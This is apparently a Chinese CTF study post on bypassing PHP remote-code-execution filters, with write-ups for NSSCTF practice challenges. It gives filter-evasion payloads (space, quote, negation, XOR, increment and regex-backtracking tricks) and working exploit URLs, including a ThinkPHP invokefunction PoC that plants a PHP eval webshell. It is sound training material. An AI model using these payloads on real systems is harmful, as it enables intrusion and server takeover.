Web入门-RCE漏洞绕过常用方法
Web入门-RCE漏洞绕过常用方法
基础知识
空格过滤
可代替空格的:
1 | < |
反斜杠绕过
1 | c\at /flag |
取反绕过
构造脚本
1 |
|
异或绕过
常用脚本:
1 |
|
如果结果被过滤就用这个,设置可用字符即可。
1 | valid="1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ " |
自增绕过
例如引发phpinfo的payload如下,其中变量“_”可逃脱过滤,直接传入:
1 | $=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);&_=phpinfo(); |
黑名单绕过
1 | //变量拼接 |
编码绕过
1 | //Base64绕过 |
正则匹配绕过
1 | cat /f??? |
引号绕过
1 | ca""t /flag |
cat替换命令
1 | more less cat tac head tail vi vim nl od sort uniq xxd grep |
回溯绕过
php正则回溯次数大于10000000次时返回False。
1 | $a='hello world'+'h'*1000000 |
无回显
1 | //无回显RCE |
做题
[SWPUCTF 2021 新生赛]hardrce
利用以下脚本生成函数为system、参数为ls /的payload:
1 |
|
找到flag位置,尝试访问:
1 | http://node5.anna.nssctf.cn:28234/?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98); |
exp:
1 | import requests |
[GXYCTF 2019]Ping Ping Ping
$IFS字符拼接绕过。
1 | http://node4.anna.nssctf.cn:28030/?ip=127.0.0.1;q=g;cat$IFS$9fla$q.php |
“$IFS”为Linux系统默认分隔符,可替代空格。$1~$9代表参数,这里为空,可以将IFS与后面字符串分割,防止识别为一个变量名。绕过“flag”则重新定义变量绕过。
1 | import requests,time |
[SWPUCTF 2021 新生赛]babyrce
1 | import requests |
[SWPUCTF 2021 新生赛]finalrce
PHP中exec
函数无回显,重定向符“>”被ban,选择写入文件后访问:
1 | http://node4.anna.nssctf.cn:28483/?url=l''s / | tee 1.txt |
将flag写入文件,cat被ban,可用tac或nl替代:
1 | http://node4.anna.nssctf.cn:28483/?url=ca''t /flllll\aaaaaaggggggg | tee 2.txt |
[鹤城杯 2021]EasyP
$_SERVER['PHP_SELF']
返回正在执行脚本的文件名,例如127.0.0.1/pikachu/index.php?file=1.php显示/pikachu/index.php。
$_SERVER['REQUEST_URI']
比上面多了参数,显示/pikachu/index.php?1.php。
basename()
返回路径中文件名部分,当遇到非ASCII字符时直接跳过。
$_SERVER['REQUEST_URI']
不进行URL编码扩展。
payload:
1 | http://node4.anna.nssctf.cn:28316/index.php/utils.php/%ff?show+source=1 |
%ff用于绕过$_SERVER['PHP_SELF']
后在basename()
处被去掉,并在下面的highlight_file
处读取utils.php。+可被解析为_,也可以将s换为%73。
[UUCTF 2022 新生赛]ez_rce
payload很多:
1 | var_dump(`nl /f????????????????`); |
[HCTF 2018]Warmup
1 | http://node4.anna.nssctf.cn:28689/index.php?file=hint.php?../../../../../ffffllllaaaagggg |
include
传参会自适应。
[SWPUCTF 2022 新生赛]ez_rce
看出是ThinkPHP,从网上找PoC:
1 | ?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_POST['a'])?> |
这个payload在NSS路由下写入shell.php一句话木马,密码a,Antsword连。
[鹤城杯 2021]Middle magic
preg_replace
的第一个参数会匹配整个字符串,因为有起始和终止锚点。但是%0A和%23是通配符“.”的例外,所以preg_replace
无法替换该字符串。preg_match
匹配字串,所以可通过。
GET:
1 | http://node4.anna.nssctf.cn:28949/?aaa=%0apass_the_level_1%23 |
POST:
1 | admin[]=1&root_pwd[]=2&level_3={"result":"aaa"} |
[SWPUCTF 2022 新生赛]numgame
使用call_user_func
函数执行nss2类中的ctf函数:
POST:
1 | p=nss2::ctf |
[NISACTF 2022]middlerce
PCRE回溯次数限制绕过。
当正则匹配的次数高于100w次后直接通过。
PHP中有short_tage特性,<??>
相当于<?php?>
,<?=?>
相当于<?php echo?>
,反引号相当于system
函数。
1 | import requests |